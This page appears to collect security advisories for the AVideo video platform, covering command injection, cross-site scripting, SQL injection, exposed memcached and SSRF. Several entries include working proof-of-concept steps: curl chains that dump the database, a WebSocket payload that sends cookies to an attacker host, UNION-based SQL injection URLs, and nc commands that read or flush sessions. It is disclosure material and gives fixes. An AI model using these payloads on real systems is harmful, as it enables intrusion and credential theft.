See how wwbn compares to other vendors in security performance
Summary
Multiple vulnerabilities in AVideo's CloneSite plugin chain together to allow a completely unauthenticated attacker to achieve remote code execution. The clones.json.php endpoint exposes clone secret keys without authentication, which can be used to trigger a full database dump via cloneServer.json.php. The dump contains admin password hashes stored as MD5, which are trivially crackable. With admin access, the attacker exploits an OS command injection in the rsync command construction in cloneClient.json.php to execute arbitrary system commands.
Details
Step 1: Clone Key Disclosure
plugin/CloneSite/clones.json.php:1-8 has zero authentication:
php <?php requireonce '../../videos/configuration.php'; requireonce $global['systemRootPath'] . 'plugin/CloneSite/Objects/Clones.php'; header('Content-Type: application/json'); $rows = Clones::getAll(); ?> {"data": <?php echo jsonencode($rows); ?>}
The response includes the key field for every registered clone, which is the sole authentication credential for clone operations.
Step 2: Database Dump via Stolen Key
plugin/CloneSite/cloneServer.json.php:73-97 — once the key passes Clones::thisURLCanCloneMe(), the server executes mysqldump and writes the result to a web-accessible directory:
php $cmd = "mysqldump -u {$mysqlUser} -p'{$mysqlPass}' --host {$mysqlHost} " ." --default-character-set=utf8mb4 {$mysqlDatabase} {$tablesList} > $sqlFile"; exec($cmd . " 2>&1", $output, $returnval);
The SQL file path is returned in the JSON response and is downloadable.
Step 3: Admin Credential Extraction
objects/user.php:1798 — passwords are stored as unsalted MD5:
php $passEncoded = md5($pass);
The users table in the dump contains user, password (MD5), and isAdmin fields. MD5 hashes crack in seconds.
Step 4: Command Injection via Rsync
plugin/CloneSite/cloneClient.json.php:259 — the videosDir from the clone server response is interpolated unsanitized into the rsync command:
php $rsync = "sshpass -p '{password}' rsync -av ... {$objClone->cloneSiteSSHUser}@{$objClone->cloneSiteSSHIP}:{$json->videosDir} ..."; exec($cmd . " 2>&1", $output, $returnval);
An admin who controls a clone server (or an attacker who has become admin) can inject arbitrary commands via the videosDir field.
PoC
bash Step 1: Steal clone keys (unauthenticated) curl -s 'http://target/plugin/CloneSite/clones.json.php' | jq '.data[0].key' Output: "a1b2c3d4e5f6..."
Step 2: Trigger database dump CLONEKEY="a1b2c3d4e5f6..." curl -s "http://target/plugin/CloneSite/cloneServer.json.php" \ --data "url=http://attacker.com&key=${CLONEKEY}&useRsync=0" | jq '.sqlFile' Output: "ClonemysqlDump1234567890.sql"
Step 3: Download the dump and extract admin credentials curl -s "http://target/videos/clones/ClonemysqlDump1234567890.sql" \ | grep -A2 "INSERT INTO.users" \ | grep -oP "admin','[a-f0-9]{32}" Output: admin','5f4dcc3b5aa765d61d8327deb882cf99 (MD5 of "password")
Step 4: Crack MD5 (trivial) echo -n "5f4dcc3b5aa765d61d8327deb882cf99" | hashcat -m 0 -a 0 rockyou.txt Output: password
Step 5: Login as admin, configure CloneSite with malicious server The attacker's clone server returns videosDir containing: /tmp$(id > /tmp/pwned) When rsync executes, the $(id) is evaluated by the shell
Impact
- Complete server compromise: Unauthenticated attacker achieves arbitrary command execution as the web server user - Full database disclosure: The entire database (users, videos, configurations, secrets) is exfiltrated - No user interaction: Every step is automated, no clicks or social engineering required - Credential theft: All user passwords (MD5) are trivially recoverable - Lateral movement: Database credentials and SSH credentials (stored encrypted in the plugins table) may enable access to other systems
Recommended Fix
1. Add authentication to clones.json.php: php // plugin/CloneSite/clones.json.php requireonce '../../videos/configuration.php'; if (!User::isAdmin()) { httpresponsecode(403); die(jsonencode(['error' => true, 'msg' => 'Admin required'])); }
2. Don't store SQL dumps in web-accessible directories — use a path outside the web root or require re-authentication to download.
3. Upgrade password hashing — replace MD5 with passwordhash() (bcrypt/argon2): php // Replace: $passEncoded = md5($pass); $passEncoded = passwordhash($pass, PASSWORDDEFAULT);
4. Sanitize rsync command parameters — use escapeshellarg() on all interpolated values: php $rsync = sprintf("rsync -av ... %s@%s:%s ...", escapeshellarg($objClone->cloneSiteSSHUser), escapeshellarg($objClone->cloneSiteSSHIP), escapeshellarg($json->videosDir) );
Summary
The YPTSocket plugin's WebSocket server relays attacker-supplied JSON message bodies to every connected client without sanitizing the msg or callback fields. On the client side, plugin/YPTSocket/script.js contains two eval() sinks fed directly by those relayed fields (json.msg.autoEvalCodeOnHTML at line 568 and json.callback at line 95). Because tokens are minted for anonymous visitors and never revalidated beyond decryption, an unauthenticated attacker can broadcast arbitrary JavaScript that executes in the origin of every currently-connected user (including administrators), resulting in universal account takeover, session theft, and privileged action execution.
Details
Token issuance is unauthenticated
plugin/YPTSocket/getWebSocket.json.php:11-21 returns a token to anyone whose request reaches the endpoint — the only check is that the plugin is enabled:
php if(!AVideoPlugin::isEnabledByName("YPTSocket")){ $obj->msg = "Socket plugin not enabled"; die(jsonencode($obj)); } $obj->error = false; $obj->webSocketToken = getEncryptedInfo(0); $obj->webSocketURL = YPTSocket::getWebSocketURL();
getEncryptedInfo() in plugin/YPTSocket/functions.php:3-16 populates fromusersid = User::getId() (0 for guests) and isAdmin = User::isAdmin() (false for guests). The issued token is accepted by the WebSocket server's onOpen handler (Message.php:44-52) solely by successful decryption — there is no requirement for the connecting principal to be authenticated.
Server relays attacker JSON verbatim
plugin/YPTSocket/Message.php:191-245 — the default branch of onMessage only rewrites fromidentification:
php public function onMessage(ConnectionInterface $from, $msg) { ... $json = jsondecode($msg); if (empty($json->webSocketToken)) { return false; } if (!$msgObj = getDecryptedInfo($json->webSocketToken)) { return false; }
switch ($json->msg) { ... default: $this->msgToArray($json); if (isset($json['fromidentification'])) { $json['fromidentification'] = striptags((string)($msgObj->username ?? '')); } ... } else { $this->msgToAll($from, $json); // broadcast } break; } }
msgToResourceId() at Message.php:297-310 copies the attacker-controlled callback and msg fields into the outbound payload:
php if (isset($msg['callback'])) { $obj['callback'] = $msg['callback']; // tainted ... } ... } else if (!empty($msg['msg'])) { $obj['msg'] = $msg['msg']; // tainted — entire object forwarded verbatim }
$obj is JSON-encoded at line 335 and sent to every connected client.
Client-side sink #1: autoEvalCodeOnHTML → eval
plugin/YPTSocket/script.js:163-169 (raw WebSocket transport) sets every inbound frame as yptSocketResponse and unconditionally calls parseSocketResponse():
js connWS.onmessage = function (e) { var json = JSON.parse(e.data); ... yptSocketResponse = json; parseSocketResponse(); ... };
parseSocketResponse() at script.js:545-569 reaches the sink:
js async function parseSocketResponse() { const json = yptSocketResponse; ... if (json.msg?.autoEvalCodeOnHTML !== undefined) { eval(json.msg.autoEvalCodeOnHTML); // <-- attacker-controlled } ... }
Client-side sink #2: json.callback → eval
plugin/YPTSocket/script.js:91-95 — processSocketJson() concatenates attacker-controlled json.callback into an eval'd string. This path is reachable on BOTH transports: the raw WebSocket branch (script.js:182) and the Socket.IO branch (script.js:339 via socket.on("message", (data) => { … processSocketJson(data) })):
js if (json.callback) { var code = "if (typeof " + json.callback + " == 'function') { myfunc = " + json.callback + "; } else { myfunc = defaultCallback; }"; socketLog('Executing callback:', json.callback); eval(code); ... }
Because json.callback is interpolated as raw source, a payload like alert(document.cookie);window.x breaks out of the typeof expression and executes during the condition evaluation.
PoC
Prerequisite: target is running AVideo with the YPTSocket plugin enabled (default on most installs).
Step 1 — obtain a token anonymously (no cookies, no auth):
bash curl -s 'https://target.example/plugin/YPTSocket/getWebSocket.json.php'
Expected output (abbreviated): json {"error":false,"msg":"","webSocketToken":"<long encrypted token>","webSocketURL":"wss://target.example:8888/?webSocketToken=<token>&..."}
Step 2 — connect to the WebSocket endpoint using the returned webSocketURL. A minimal Node.js client:
js const WebSocket = require('ws'); const TOKEN = '<token from step 1>'; const URL = '<webSocketURL from step 1>'; const ws = new WebSocket(URL, { rejectUnauthorized: false });
ws.on('open', () => { // Payload 1 — primary sink (raw WebSocket transport): ws.send(JSON.stringify({ webSocketToken: TOKEN, msg: { autoEvalCodeOnHTML: "fetch('https://attacker.example/x?c='+encodeURIComponent(document.cookie));" + "alert('XSS as '+document.domain);" } }));
// Payload 2 — secondary sink (reaches both raw WS and Socket.IO clients): ws.send(JSON.stringify({ webSocketToken: TOKEN, msg: "p", callback: "alert(document.domain);window.x" })); });
Step 3 — observe impact. Every other user currently connected to the same AVideo instance (via any page that loads YPTSocket's script.js — the global footer, the admin dashboard, live streams, video pages) receives the broadcast. In their browser:
- Payload 1 reaches parseSocketResponse() at line 568 and evaluates eval(json.msg.autoEvalCodeOnHTML), firing the exfiltration request to attacker.example with document.cookie. - Payload 2 reaches processSocketJson() at line 95; the synthesized code string is if (typeof alert(document.domain);window.x == 'function') { ... }, which executes alert(document.domain) during the typeof evaluation.
Any administrator who is online at the moment of the broadcast has their session cookie exfiltrated and/or arbitrary actions performed in their browser context.
Impact
A single unauthenticated request and one WebSocket frame grants the attacker universal client-side code execution across every user currently connected to the target AVideo instance. Concretely:
- Session theft of every connected user, including administrators (note: HttpOnly does not help because the attacker's JS runs in-origin and can call privileged endpoints directly without ever reading cookies). - Privileged action execution on behalf of any admin who happens to be online — including plugin installation (GHSA-v8jw-8w5p-23g3 shows admin plugin ZIP upload is already an RCE primitive), user promotion/demotion, video deletion, configuration changes. - Stored cross-user JS persistence via localStorage, IndexedDB, or re-submitting the payload as a comment/title through admin credentials. - Financial redirection (payment flows, crypto-donation addresses) and phishing via arbitrary DOM rewriting of the authentic AVideo origin. - The scope change (S:C) is genuine: an unauthenticated (or low-privileged) attacker's actions cross the trust boundary into every other user's browser authorization context, including admin.
Recommended Fix
Multiple defense-in-depth layers are required:
1. Remove the client-side eval sinks entirely. plugin/YPTSocket/script.js:
diff - if (json.msg?.autoEvalCodeOnHTML !== undefined) { - eval(json.msg.autoEvalCodeOnHTML); - }
No legitimate server flow should push arbitrary JavaScript through a broadcast channel — if server-driven UI updates are needed, use structured data and predefined handler functions.
Replace the callback dispatch at lines 91-95 with a strict name-based lookup against a predefined allowlist:
diff - if (json.callback) { - var code = "if (typeof " + json.callback + " == 'function') { myfunc = " + json.callback + "; } else { myfunc = defaultCallback; }"; - eval(code); - ... - } else { - myfunc = defaultCallback; - } + var ALLOWEDCALLBACKS = ['socketNewConnection', 'socketDisconnection', / ... /]; + if (typeof json.callback === 'string' && ALLOWEDCALLBACKS.indexOf(json.callback) !== -1 + && typeof window[json.callback] === 'function') { + myfunc = window[json.callback]; + const event = new CustomEvent(json.callback, { detail: details }); + document.dispatchEvent(event); + } else { + myfunc = defaultCallback; + }
2. Server-side: allowlist keys on relayed msg objects. In plugin/YPTSocket/Message.php::onMessage() default branch, whitelist the fields permitted in relayed broadcasts rather than forwarding $msg['msg'] verbatim:
php // At top of default branch, after msgToArray: $ALLOWEDMSGKEYS = ['type', 'text', 'videosid', 'usersid', / ... /]; if (isset($json['msg']) && isarray($json['msg'])) { $json['msg'] = arrayintersectkey($json['msg'], arrayflip($ALLOWEDMSGKEYS)); } // Similarly sanitize callback: if (isset($json['callback']) && !pregmatch('/^[a-zA-Z][a-zA-Z0-9]$/', (string)$json['callback'])) { unset($json['callback']); }
3. Restrict token issuance and sender privileges. plugin/YPTSocket/getWebSocket.json.php should require authentication (or at least reject anonymous broadcast capability). Unprivileged senders should not be permitted to trigger msgToAll at all — the default branch of onMessage should require $msgObj->isAdmin (or equivalent) before allowing broadcasts, since there is no legitimate reason for arbitrary clients to originate system-wide messages.
An OS command injection vulnerability exists in the aVideoEncoder chunkfile functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary command execution. An attacker can send an HTTP request to trigger this vulnerability.
An os command injection vulnerability exists in the aVideoEncoder wget functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary command execution. An attacker can send an HTTP request to trigger this vulnerability.
A directory traversal vulnerability exists in the unzipDirectory functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary command execution. An attacker can send an HTTP request to trigger this vulnerability.
A local file inclusion vulnerability exists in the getLanguageFromBrowser functionality of WWBN AVideo dev master commit 15fed957fb. A specially crafted HTTP request can lead to arbitrary code execution. An attacker can send a series of HTTP requests to trigger this vulnerability.
An insufficient entropy vulnerability exists in the salt generation functionality of WWBN AVideo dev master commit 15fed957fb. A specially crafted series of HTTP requests can lead to privilege escalation. An attacker can gather system information via HTTP requests and bruteforce the salt offline, leading to forging a legitimate password recovery code for the admin user.
An issue in WWBN AVideo v.12.4 through v.14.2 allows a remote attacker to execute arbitrary code via the systemRootPath parameter of the submitIndex.php component.
An incomplete blacklist exists in the .htaccess sample of WWBN AVideo 14.4 and dev master commit 8a8954ff. A specially crafted HTTP request can lead to a arbitrary code execution. An attacker can request a .phar file to trigger this vulnerability.
AVideo Platform 8.1 contains a cross-site request forgery vulnerability that allows attackers to reset user passwords by exploiting the password recovery mechanism. Attackers can craft malicious requests to the recoverPass endpoint using the user's recovery token to change account credentials without authentication.
Impact
An unauthenticated SQL Injection vulnerability exists in AVideo within the objects/videos.json.php and objects/video.php components.
The application fails to properly sanitize the catName parameter when it is supplied via a JSON-formatted POST request body. Because JSON input is parsed and merged into $REQUEST after global security checks are executed, the payload bypasses the existing sanitization mechanisms.
This allows an unauthenticated attacker to:
- Execute arbitrary SQL queries - Perform full database exfiltration - Extract sensitive data including administrator usernames, password hashes, session identifiers and user records - Potentially escalate privileges by cracking password hashes offline - Chain with authenticated vulnerabilities to achieve full system compromise
This vulnerability is classified as: - CWE-89: Improper Neutralization of Special Elements used in an SQL Command (SQL Injection)
Patches
This vulnerability has been fixed in version 23.
Users must upgrade to version 23 or later.
Workarounds
There is no reliable workaround.
The only recommended mitigation is to upgrade immediately to version 23 upon its release.
References
Internal security report.
Impact
An unauthenticated attacker can execute arbitrary OS commands on the server by injecting shell command substitution into the base64Url GET parameter. This can lead to full server compromise, data exfiltration (e.g., configuration secrets, internal keys, credentials), and service disruption.
Root Cause
The base64Url parameter is Base64-decoded and then interpolated directly into a double-quoted ffmpeg shell command without proper shell escaping. The upstream validation uses FILTERVALIDATEURL, which validates URL syntax but does not prevent shell metacharacters / command substitution sequences from being interpreted by the shell.
Affected Components
objects/getImage.php objects/security.php Execution path via async command execution helper (shellexec/nohup)
Patches
Apply strict shell argument escaping (e.g., escapeshellarg()) to all user-supplied values before building any shell command, and avoid double-quoted interpolation of untrusted input. Prefer safer process execution patterns where possible.
Workarounds
Restrict access to objects/getImage.php at the web server / reverse proxy layer (IP allowlist, auth, or disable endpoint if not needed). Apply WAF rules to block suspicious patterns and limit exposure until a patch is deployed.
Resources
Report: "Unauthenticated OS Command Injection in AVideo-Encoder"
Summary The official docker-compose.yml publishes the memcached service on host port 11211 (0.0.0.0:11211) with no authentication, while the Dockerfile configures PHP to store all user sessions in that memcached instance. An attacker who can reach port 11211 can read, modify, or flush session data — enabling session hijacking, admin impersonation, and mass session destruction without any application-level authentication.
Severity High (CVSS 3.1: 8.1)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network — docker-compose.yml binds memcached to 0.0.0.0:11211 on the host - Attack Complexity: High — exploitation requires port 11211 to be network-reachable, which depends on external firewall/security group configuration beyond the attacker's control - Privileges Required: None — memcached has no authentication mechanism enabled - User Interaction: None - Scope: Unchanged — impact is to the AVideo application's session management - Confidentiality Impact: High — session data includes user IDs, admin flags, email addresses, and password hashes - Integrity Impact: High — an attacker can modify session data to inject admin privileges or impersonate any user - Availability Impact: High — flushall destroys all active sessions, forcing mass logout
Affected Component - docker-compose.yml — memcached service ports directive (line 203) - Dockerfile — PHP session configuration (lines 150-151)
CWE - CWE-668: Exposure of Resource to Wrong Sphere - CWE-287: Improper Authentication (memcached has no authentication)
Description
Memcached port unnecessarily published to host network
The docker-compose.yml publishes the memcached port to the Docker host's network interface:
yaml docker-compose.yml — lines 192-213 memcached: image: memcached:alpine restart: unless-stopped command: > memcached -m 512 -c 2048 -t ${NPROC:-4} -R 200 ports: - "${MEMCACHEPORT:-11211}:11211" # <-- Exposes to 0.0.0.0:11211 networks: - appnet
The memcached command has no authentication flags: - No -S flag (SASL authentication) - No -l 127.0.0.1 flag (interface binding restriction)
The default env.example reinforces this port: MEMCACHEPORT=11211
PHP sessions stored entirely in memcached
The Dockerfile configures PHP to use memcached as the session store:
ini ; Dockerfile — lines 150-151 session.savehandler = memcached session.savepath = "memcached:11211?persistent=1&timeout=2&retryinterval=5"
Session data contains all authentication state
The application stores complete authentication state in sessions. From objects/user.php:
php // user.php:1521 — login check $isLogged = !empty($SESSION['user']['id']);
// user.php:1544 — admin check return !empty($SESSION['user']['isAdmin']);
Session data includes: user ID, email, username, password hash, admin flag, channel name, photo URL, and email verification status (user.php lines 329-733). All of this is readable and writable via the exposed memcached port.
Inconsistent defense: database services are correctly internal-only
The docker-compose.yml demonstrates awareness of proper service isolation — both database services have NO ports: directive:
yaml docker-compose.yml — database service (lines 136-163) database: build: context: . dockerfile: Dockerfile.mariadb # ... NO ports: directive — internal only networks: - appnet
docker-compose.yml — databaseencoder service (lines 165-189) databaseencoder: build: context: . dockerfile: Dockerfile.mariadb # ... NO ports: directive — internal only networks: - appnet
Both databases are only reachable via the internal appnet Docker network. Memcached — which stores equally sensitive session data — should follow the same pattern but does not. This inconsistency confirms the exposure is an oversight, not a design choice.
Port exposure map
| Service | Ports published to host | Contains sensitive data | Exposure justified | |---------|------------------------|------------------------|--------------------| | avideo | 80, 443, 2053 | N/A (web server) | Yes — serves web traffic | | live | 1935, 8080, 8443 | N/A (streaming) | Yes — serves RTMP/HLS | | database | None | Yes (all app data) | Correct — internal only | | databaseencoder | None | Yes (encoder data) | Correct — internal only | | memcached | 11211 | Yes (all sessions) | No — should be internal only |
Execution chain
1. Attacker scans the target host and discovers port 11211 is open 2. Attacker connects with nc TARGET 11211 or any memcached client — no authentication required 3. Attacker runs stats items to enumerate session slab classes 4. Attacker runs stats cachedump <slabid> <limit> to list session keys 5. Attacker runs get <sessionkey> to read serialized PHP session data containing user IDs, admin flags, and password hashes 6. Attacker either: - Hijacks a session: uses the session ID as a cookie to impersonate the user - Escalates privileges: modifies session data to set isAdmin to true via set <sessionkey> - Performs DoS: runs flushall to destroy all sessions
Proof of Concept
bash 1. Verify memcached is reachable (returns server stats) echo -e "stats\r" | nc TARGET 11211
2. Enumerate session keys echo -e "stats items\r" | nc TARGET 11211 Then for each slab: echo -e "stats cachedump 1 100\r" | nc TARGET 11211
3. Read a session (key format: memc.sess.key.<sessionid>) echo -e "get memc.sess.key.abc123sessionid\r" | nc TARGET 11211 Returns serialized PHP session with user data, admin flag, etc.
4. DoS — destroy all sessions (logs out every user) echo -e "flushall\r" | nc TARGET 11211
For session hijacking, extract the session ID from step 3 and set it as the PHPSESSID cookie in a browser to impersonate the victim user.
Impact
- Session hijacking: Read any user's session data and impersonate them by reusing their session ID — including admin accounts - Privilege escalation: Modify session data to set $SESSION['user']['isAdmin'] to a truthy value, granting admin access to any session - Credential exposure: Session data includes password hashes ($SESSION['user']['passhash'], user.php:555) that can be cracked offline - Mass session destruction: flushall destroys all active sessions, forcing every logged-in user to re-authenticate — a one-command denial of service - Reconnaissance: stats reveals server uptime, memory usage, connection counts, and cache hit/miss ratios
Recommended Remediation
Option 1: Remove the port mapping (preferred — one-line fix)
Memcached is only used internally by the PHP application via Docker networking. Remove the ports: directive entirely:
yaml docker-compose.yml — memcached service memcached: image: memcached:alpine restart: unless-stopped command: > memcached -m 512 -c 2048 -t ${NPROC:-4} -R 200 # REMOVED: ports: # - "${MEMCACHEPORT:-11211}:11211" deploy: resources: limits: cpus: '1' memory: "4G" reservations: cpus: '0.5' memory: '1G' networks: - appnet
Also remove MEMCACHEPORT=11211 from env.example since the port is no longer published.
The PHP application connects via the Docker internal hostname memcached:11211 (from session.savepath), which uses the appnet bridge network and does not require host-level port mapping.
Option 2: Bind memcached to localhost only (if host access is needed for debugging)
If host-level access to memcached is needed for debugging, bind only to the loopback interface:
yaml ports: - "127.0.0.1:${MEMCACHEPORT:-11211}:11211"
This prevents remote access while allowing localhost:11211 connections from the Docker host.
Option 3: Enable SASL authentication (defense-in-depth)
Add SASL authentication to memcached as an additional layer:
yaml command: > memcached -m 512 -c 2048 -t ${NPROC:-4} -R 200 -S environment: MEMCACHEDUSERNAME: "${MEMCACHEDUSER:-avideo}" MEMCACHEDPASSWORD: "${MEMCACHEDPASSWORD}"
Update the PHP session configuration accordingly: ini session.savepath = "PERSISTENT=myapp avideo:${MEMCACHEDPASSWORD}@memcached:11211"
Note: Option 1 alone is sufficient and should be applied immediately. Options 2 and 3 provide defense-in-depth.
Credit This vulnerability was discovered and reported by bugbunny.ai.
Summary
An unauthenticated SQL injection vulnerability exists in objects/category.php in the getAllCategories() method. The doNotShowCats request parameter is sanitized only by stripping single-quote characters (strreplace("'", '', ...)), but this is trivially bypassed using a backslash escape technique to shift SQL string boundaries. The parameter is not covered by any of the application's global input filters in objects/security.php.
Affected Component
File: objects/category.php, lines 386-394, inside method getAllCategories()
php if (!empty($REQUEST['doNotShowCats'])) { $doNotShowCats = $REQUEST['doNotShowCats']; if (!isarray($REQUEST['doNotShowCats'])) { $doNotShowCats = array($REQUEST['doNotShowCats']); } foreach ($doNotShowCats as $key => $value) { $doNotShowCats[$key] = strreplace("'", '', $value); // INSUFFICIENT } $sql .= " AND (c.cleanname NOT IN ('" . implode("', '", $doNotShowCats) . "') )"; }
Root Cause
1. Incomplete sanitization: The only defense is strreplace("'", '', $value), which strips single-quote characters. It does not strip backslashes (\). 2. No global filter coverage: The doNotShowCats parameter is absent from every filter list in objects/security.php ($securityFilter, $securityFilterInt, $securityRemoveSingleQuotes, $securityRemoveNonChars, $securityRemoveNonCharsStrict, $filterURL, and the id suffix pattern). 3. Direct string concatenation into SQL: The filtered values are concatenated into the SQL query via implode() instead of using parameterized queries.
Exploitation
MySQL, by default, treats the backslash (\) as an escape character inside string literals (unless NOBACKSLASHESCAPES SQL mode is enabled, which is uncommon). This allows a backslash in one array element to escape the closing single-quote that implode() adds, shifting the string boundary and turning the next array element into executable SQL.
Step-by-step:
1. The attacker sends: GET /categories.json.php?doNotShowCats[0]=\&doNotShowCats[1]=)%20OR%201=1)--%20-
2. After strreplace("'", '', ...), values are unchanged (no single quotes to strip): - Element 0: \ - Element 1: ) OR 1=1)-- -
3. After implode("', '", ...), the concatenated string is: \', ') OR 1=1)-- -
4. The full SQL becomes: sql AND (c.cleanname NOT IN ('\', ') OR 1=1)-- -') )
5. MySQL parses this as: - '\' — the \ escapes the next ', making it a literal quote character inside the string. The string continues. - , ' — the comma and space are part of the string. The next ' (which was the opening quote of element 1) closes the string. - String value = ', (three characters: quote, comma, space) - ) OR 1=1) — executable SQL. The first ) closes NOT IN (, the second ) closes the outer AND (. - -- - — SQL comment, discards the remainder ') )
Effective SQL: sql AND (c.cleanname NOT IN (', ') OR 1=1) This always evaluates to TRUE.
For data extraction (UNION-based):
GET /categories.json.php?doNotShowCats[0]=\&doNotShowCats[1]=))%20UNION%20SELECT%201,user,password,4,5,6,7,8,9,10,11,12,13,14%20FROM%20users--%20-
Produces: sql AND (c.cleanname NOT IN ('\', ')) UNION SELECT 1,user,password,4,5,6,7,8,9,10,11,12,13,14 FROM users-- -') )
This appends a UNION query that extracts usernames and password hashes from the users table. The attacker must match the column count of the original SELECT (determinable through iterative probing).
Impact
- Confidentiality: Full read access to the entire database, including user credentials, emails, private video metadata, API secrets, and plugin configuration. - Integrity: Ability to modify or delete any data in the database via stacked queries or subqueries (e.g., UPDATE users SET isAdmin=1). - Availability: Ability to drop tables or corrupt data. - Potential RCE: On MySQL configurations that allow SELECT ... INTO OUTFILE, the attacker could write a PHP web shell to the server's document root.
Suggested Fix
Replace the string concatenation with parameterized queries:
php if (!empty($REQUEST['doNotShowCats'])) { $doNotShowCats = $REQUEST['doNotShowCats']; if (!isarray($doNotShowCats)) { $doNotShowCats = array($doNotShowCats); } $placeholders = arrayfill(0, count($doNotShowCats), '?'); $formats = strrepeat('s', count($doNotShowCats)); $sql .= " AND (c.cleanname NOT IN (" . implode(',', $placeholders) . ") )"; // Pass $formats and $doNotShowCats to sqlDAL::readSql() as bind parameters }
Alternatively, use $global['mysqli']->realescapestring() on each value as a minimum fix, though parameterized queries are strongly preferred.
Impact:
An attacker could execute remote code on a system running wwbn/avideo
Step to Reproduce:
1. Go to the My Videos tab
https://demo.avideo.com/mvideos
2. Click "Embed a video link"
Append a command to the url as a query string. eg. ?whoami
then click Save
This issue has been resolved in commit 236228f15
A cross-site scripting (xss) vulnerability exists in the functiongetOpenGraph videoName functionality of WWBN AVideo 11.6 and dev master commit 3c6bb3ff. A specially crafted HTTP request can lead to arbitrary Javascript execution. An attacker can get a user to visit a webpage to trigger this vulnerability.
A cross-site scripting (xss) vulnerability exists in the LoginWordPress loginForm cancelUri parameter functionality of WWBN AVideo 14.4 and dev master commit 8a8954ff. A specially crafted HTTP request can lead to arbitrary Javascript execution. An attacker can get a user to visit a webpage to trigger this vulnerability.
A cross-site scripting (xss) vulnerability exists in the managerPlaylists PlaylistOwnerUsersId parameter functionality of WWBN AVideo 14.4 and dev master commit 8a8954ff. A specially crafted HTTP request can lead to arbitrary Javascript execution. An attacker can get a user to visit a webpage to trigger this vulnerability.
A cross-site scripting (xss) vulnerability exists in the userLogin cancelUri parameter functionality of WWBN AVideo 14.4 and dev master commit 8a8954ff. A specially crafted HTTP request can lead to arbitrary Javascript execution. An attacker can get a user to visit a webpage to trigger this vulnerability.
A cross-site scripting (xss) vulnerability exists in the videoNotFound 404ErrorMsg parameter functionality of WWBN AVideo 14.4 and dev master commit 8a8954ff. A specially crafted HTTP request can lead to arbitrary Javascript execution. An attacker can get a user to visit a webpage to trigger this vulnerability.
WWBN AVideo is an open source video platform. Versions prior to 29.0 contain a stored DOM Cross-Site Scripting vulnerability in the YPTSocket plugin. Any unauthenticated remote attacker can execute arbitrary JavaScript in the authenticated origin of every administrator currently viewing a page that renders the YPTSocket online-users debug panel. plugin/YPTSocket/getWebSocket.json.php issues a signed WebSocket token to any anonymous caller, and MessageSQLiteV2::onOpen at plugin/YPTSocket/MessageSQLiteV2.php lines 91 and 110 reads the attacker-controlled webSocketSelfURI and pagetitle query parameters from the WebSocket connection URL with no validation. Both values persist into the in-memory SQLite connections table and broadcast inside the usersidonline array sent to every connected client; on the client, plugin/YPTSocket/script.js::updateSocketUserCard interpolates the broadcast pagetitle into an HTML template literal that is passed to jQuery $.append(html), which parses attacker bytes into live DOM nodes including <img> with inline event handlers. Successful attackers can can read non-HttpOnly cookies and the CSRF token rendered into the admin dashboard, issue authenticated requests to any admin-only endpoint, exfiltrate the admin dashboard DOM, and chain into any admin-context mutation. When the victim is an AVideo administrator, the attacker turns a single anonymous WebSocket connection into full administrative takeover via the admin's own session. This issue has been patched by https://github.com/WWBN/AVideo/commit/8be71e53ccbe9b84b30870db386fb4d2b11e1c16.
A cross-site scripting (xss) vulnerability exists in the image403 functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary Javascript execution. An attacker can get an authenticated user to send a crafted HTTP request to trigger this vulnerability.
A reflected cross-site scripting (xss) vulnerability exists in the charts tab selection functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary Javascript execution. An attacker can get an authenticated user to send a crafted HTTP request to trigger this vulnerability.
A cross-site scripting (xss) vulnerability exists in the footer alerts functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary Javascript execution. An attacker can get an authenticated user to send a crafted HTTP request to trigger this vulnerability.This vulnerability arrises from the "success" parameter which is inserted into the document with insufficient sanitization.
A cross-site scripting (xss) vulnerability exists in the footer alerts functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary Javascript execution. An attacker can get an authenticated user to send a crafted HTTP request to trigger this vulnerability.This vulnerability arrises from the "msg" parameter which is inserted into the document with insufficient sanitization.
A cross-site scripting (xss) vulnerability exists in the footer alerts functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary Javascript execution. An attacker can get an authenticated user to send a crafted HTTP request to trigger this vulnerability.This vulnerability arrises from the "toast" parameter which is inserted into the document with insufficient sanitization.
Summary
The standalone live stream control endpoint at plugin/Live/standAloneFiles/control.json.php accepts a user-supplied streamerURL parameter that overrides where the server sends token verification requests. An attacker can redirect token verification to a server they control that always returns {"error": false}, completely bypassing authentication. This grants unauthenticated control over any live stream on the platform, including dropping active publishers, starting/stopping recordings, and probing stream existence.
Details
The vulnerability exists because the streamerURL parameter is accepted directly from user input with no validation:
plugin/Live/standAloneFiles/control.json.php:77-79 — User input overrides server config: php if (!empty($REQUEST['streamerURL'])) { $streamerURL = $REQUEST['streamerURL']; }
plugin/Live/standAloneFiles/control.json.php:83-91 — The user-controlled value is assigned to the request object: php $obj->streamerURL = $streamerURL;
plugin/Live/standAloneFiles/control.json.php:115-126 — Token verification is sent to the attacker-controlled URL: php $verifyTokenURL = "{$obj->streamerURL}plugin/Live/verifyToken.json.php?token={$obj->token}"; // ... $content = filegetcontents($verifyTokenURL, false, streamcontextcreate($arrContextOptions));
The legitimate verifyToken.json.php performs cryptographic token validation via Live::decryptHash() and checks token expiry (12-hour window). By redirecting verification to an attacker server, all of this is bypassed — the attacker's server simply responds with {"error": false}.
After authentication is bypassed, the attacker can execute any of the four supported commands (lines 150-186): recordstart, recordstop, droppublisher, and isrecording, which issue control commands to the local NGINX RTMP control module.
SSL verification is also explicitly disabled (lines 119-124), meaning the SSRF request will follow any attacker URL without certificate validation.
Notably, the developers were aware of this exact attack pattern and fixed it in the sibling file standAloneFiles/saveDVR.json.php on 2026-03-19 with an explicit comment: "SECURITY: User-supplied webSiteRootURL is intentionally NOT accepted. Allowing it would enable SSRF." The same fix was not applied to control.json.php.
PoC
Step 1: Set up an attacker server that returns {"error": false} for all requests.
